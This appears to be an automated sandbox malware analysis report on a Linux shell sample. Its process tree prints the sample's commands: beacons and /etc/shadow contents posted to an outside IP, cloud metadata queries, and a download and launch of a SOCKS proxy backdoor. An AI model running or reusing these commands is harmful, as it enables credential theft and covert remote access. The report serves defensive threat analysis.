38d33f711215c22f03f8e8f5ac9db01d979d25f919882492daed61336de7e9ae

Analysis

max time kernel
17s
max time network
18s
platform
debian-9_armhf
resource
debian9-armhf-20260513-en
resource tags

arch:armhfimage:debian9-armhf-20260513-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem
submitted
17/08/2026, 06:37

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
38d33f711215c22f03f8e8f5ac9db01d979d25f919882492daed61336de7e9ae
Size 2KB
Sample260817-hdyfaafm7x
SHA256 38d33f711215c22f03f8e8f5ac9db01d979d25f919882492daed61336de7e9ae
MD5 8f9b197ae26f7fc6fe36051a62efdbfc
SHA1 c990835e4400fe8525f7a115c06afab6e2b26b36
SHA512 add5edccc62e18a6f220a3313466661cf3294a17832eb0daa9d8b344f010b7b56a2a11abbe0c5d6bca81d658b69f2a9d1aec0e4c8784ead87a89e23656e8590c
TLSH
T13C51F2DCF4F86933FA0DC534F6C9A2949A66BF6F04602E4C786A4F9D6F0C6187108531
MD5 SHA1 SHA512 TLSH

Score

7^/10

antivm credential_access defense_evasion discovery

Malware Config

Signatures

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
789	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/.ms	790	38d33f711215c22f03f8e8f5ac9db01d979d25f919882492daed61336de7e9ae

OS Credential Dumping 1 TTPs 1 IoCs

Adversaries may attempt to dump credentials to use it in password cracking.

credential_access

/etc/passwd and /etc/shadow

T1003.008

description	ioc	Process
File opened for reading	/etc/shadow	head

Enumerates running processes
Discovers information about currently running processes on the system

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org
2	api.ipify.org

Checks CPU configuration 1 TTPs 8 IoCs

Checks CPU information which indicate if the system is a virtual machine.

antivm

System Checks

T1497.001

description	ioc	Process
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl
File opened for reading	/proc/cpuinfo	curl

Reads CPU attributes 1 TTPs 1 IoCs

discovery

System Information Discovery

T1082

description	ioc	Process
File opened for reading	/sys/devices/system/cpu/online	pgrep

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/75/status	pgrep
File opened for reading	/proc/640/cmdline	pgrep
File opened for reading	/proc/769/status	pgrep
File opened for reading	/proc/28/fd	ss
File opened for reading	/proc/4/cmdline	pgrep
File opened for reading	/proc/24/status	pgrep
File opened for reading	/proc/159/cmdline	pgrep
File opened for reading	/proc/584/status	pgrep
File opened for reading	/proc/7/attr/current	ss
File opened for reading	/proc/7/fd	ss
File opened for reading	/proc/281/stat	ss
File opened for reading	/proc/296/stat	ss
File opened for reading	/proc/27/status	pgrep
File opened for reading	/proc/96/status	pgrep
File opened for reading	/proc/142/cmdline	pgrep
File opened for reading	/proc/20/fd	ss
File opened for reading	/proc/564/fd	ss
File opened for reading	/proc/13/status	pgrep
File opened for reading	/proc/29/cmdline	pgrep
File opened for reading	/proc/42/cmdline	pgrep
File opened for reading	/proc/298/attr/current	ss
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/26/status	pgrep
File opened for reading	/proc/168/attr/current	ss
File opened for reading	/proc/291/attr/current	ss
File opened for reading	/proc/16/cmdline	pgrep
File opened for reading	/proc/578/cmdline	pgrep
File opened for reading	/proc/17/attr/current	ss
File opened for reading	/proc/296/fd	ss
File opened for reading	/proc/43/attr/current	ss
File opened for reading	/proc/75/cmdline	pgrep
File opened for reading	/proc/8/attr/current	ss
File opened for reading	/proc/19/attr/current	ss
File opened for reading	/proc/218/attr/current	ss
File opened for reading	/proc/323/stat	ss
File opened for reading	/proc/336/fd	ss
File opened for reading	/proc/9/cmdline	pgrep
File opened for reading	/proc/107/cmdline	pgrep
File opened for reading	/proc/583/status	pgrep
File opened for reading	/proc/783/status	pgrep
File opened for reading	/proc/769/cmdline	pgrep
File opened for reading	/proc/13/attr/current	ss
File opened for reading	/proc/15/fd	ss
File opened for reading	/proc/291/stat	ss
File opened for reading	/proc/579/attr/current	ss
File opened for reading	/proc/15/status	pgrep
File opened for reading	/proc/300/status	pgrep
File opened for reading	/proc/789/fd	ss
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/2/status	pgrep
File opened for reading	/proc/9/fd	ss
File opened for reading	/proc/18/attr/current	ss
File opened for reading	/proc/22/fd	ss
File opened for reading	/proc/641/attr/current	ss
File opened for reading	/proc/self/auxv	curl
File opened for reading	/proc/1/fd	ss
File opened for reading	/proc/152/stat	ss
File opened for reading	/proc/43/status	pgrep
File opened for reading	/proc/2/fd	ss
File opened for reading	/proc/769/stat	ss
File opened for reading	/proc/12/cmdline	pgrep
File opened for reading	/proc/16/fd	ss
File opened for reading	/proc/96/fd	ss
File opened for reading	/proc/579/fd	ss

System Network Configuration Discovery 1 TTPs 1 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
663	curl

Writes file to tmp directory 1 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/.ms	curl

/tmp/38d33f711215c22f03f8e8f5ac9db01d979d25f919882492daed61336de7e9ae
/tmp/38d33f711215c22f03f8e8f5ac9db01d979d25f919882492daed61336de7e9ae
1⤵
- Executes dropped EXE
PID:644
- /usr/bin/head
  head -c 24
  2⤵
  PID:653
- /bin/hostname
  hostname
  2⤵
  PID:651
- /usr/bin/head
  head -c 8 /etc/machine-id
  2⤵
  PID:659
- /usr/bin/head
  head -c 40
  2⤵
  PID:664
- /usr/bin/curl
  curl -sk --max-time 6 https://api.ipify.org
  2⤵
  - Checks CPU configuration
  - System Network Configuration Discovery
  PID:663
- /bin/uname
  uname -s
  2⤵
  PID:680
- /bin/uname
  uname -m
  2⤵
  PID:682
- /usr/bin/id
  id -u
  2⤵
  PID:683
- /usr/bin/curl
  curl -sk --max-time 8 -X POST http://3.106.149.59/b.php --data-urlencode "t=beacon" --data-urlencode "id=debian9-armhf-20260513-e-cf3e0e34" --data-urlencode "ip=85.203.46.80" --data-urlencode "os=Linux-armv7l" --data-urlencode "uid=0" -o /dev/null
  2⤵
  - Checks CPU configuration
  PID:684
- /usr/bin/curl
  curl -sk --max-time 3 -X PUT -H "X-aws-ec2-metadata-token-ttl-seconds: 60" http://169.254.169.254/latest/api/token
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:715
- /usr/bin/curl
  curl -sk --max-time 3 http://169.254.169.254/latest/meta-data/
  2⤵
  - Checks CPU configuration
  PID:763
- /usr/bin/head
  head -c 200
  2⤵
  PID:764
- /usr/bin/head
  head -c 200
  2⤵
  PID:767
- /usr/bin/curl
  curl -sk --max-time 3 "http://169.254.169.254/metadata/instance?api-version=2021-02-01"
  2⤵
  - Checks CPU configuration
  PID:766
- /usr/bin/curl
  curl -sk --max-time 3 http://100.100.100.200/latest/meta-data/
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:771
- /usr/bin/head
  head -c 200
  2⤵
  PID:772
- /usr/bin/head
  head -c 160 /etc/shadow
  2⤵
  - OS Credential Dumping
  PID:774
- /usr/bin/tr
  tr "\\n" " "
  2⤵
  PID:775
- /usr/bin/head
  head -c 1200
  2⤵
  PID:778
- /usr/bin/head
  head -c 2000
  2⤵
  PID:781
- /usr/bin/curl
  curl -sk --max-time 8 -X POST http://3.106.149.59/b.php --data-urlencode "t=harvest" --data-urlencode "id=debian9-armhf-20260513-e-cf3e0e34" --data-urlencode "ip=85.203.46.80" --data-urlencode "meta=" --data-urlencode "cfg=|/etc/shadow:root:!:19647:0:99999:7::: daemon:*:19647:0:99999:7::: bin:*:19647:0:99999:7::: sys:*:19647:0:99999:7::: sync:*:19647:0:99999:7::: games:*:19647:0:99999:7::: man" -o /dev/null
  2⤵
  - Checks CPU configuration
  - Reads runtime system information
  PID:782
- /usr/bin/pgrep
  pgrep -f microsocks
  2⤵
  - Reads CPU attributes
  - Reads runtime system information
  PID:783
- /bin/sleep
  sleep 1
  2⤵
  PID:785
- /usr/bin/curl
  curl -sk --max-time 25 -o /tmp/.ms http://3.106.149.59/microsocks
  2⤵
  - Checks CPU configuration
  - Writes file to tmp directory
  PID:786
- /bin/grep
  grep -q :13337
  2⤵
  PID:788
- /bin/ss
  ss -tlnp
  2⤵
  - Reads runtime system information
  PID:787
- /bin/chmod
  chmod +x /tmp/.ms
  2⤵
  - File and Directory Permissions Modification
  PID:789
- /tmp/.ms
  /tmp/.ms -i 0.0.0.0 -p 13337 -u auto -P auto123
  2⤵
  PID:790

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Credential Access

OS Credential Dumping

T1003

/etc/passwd and /etc/shadow

T1003.008

Discovery

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Virtualization/Sandbox Evasion

T1497

System Checks

T1497.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

.ms

Path /tmp/.ms
Size 35KB
SHA256 24e191c10616e872702330a015fb83dad75afd404e5689c23231a31bc1c6177a
MD5 bb2d8bbad360980297824561e19d6756
SHA1 103aca10a785bb74d911ec7da676737b22be3678
SHA512 7e5daff743101ed5f914e98538a17891603f9c8b07edd4043e2d97b656dbf3317753aeef9b6d8bc0719b4ffa214f008e67742e2f4d229d7d4ea10adffc121941
SSDEEP 768:572391tldVNF91tldVNF91tldVNoAYwIg4QoAYwIg4QoEFP08a8+eLNjJBcem:57wF88+eLNjcem
TLSH
T157F2EA2BB3E0CBBCD0C592315CC7A171A1B5A4B0BB31120B2391667F2E97B9C5B7DA51
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Analysis

Sharing

General

Malware Config

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads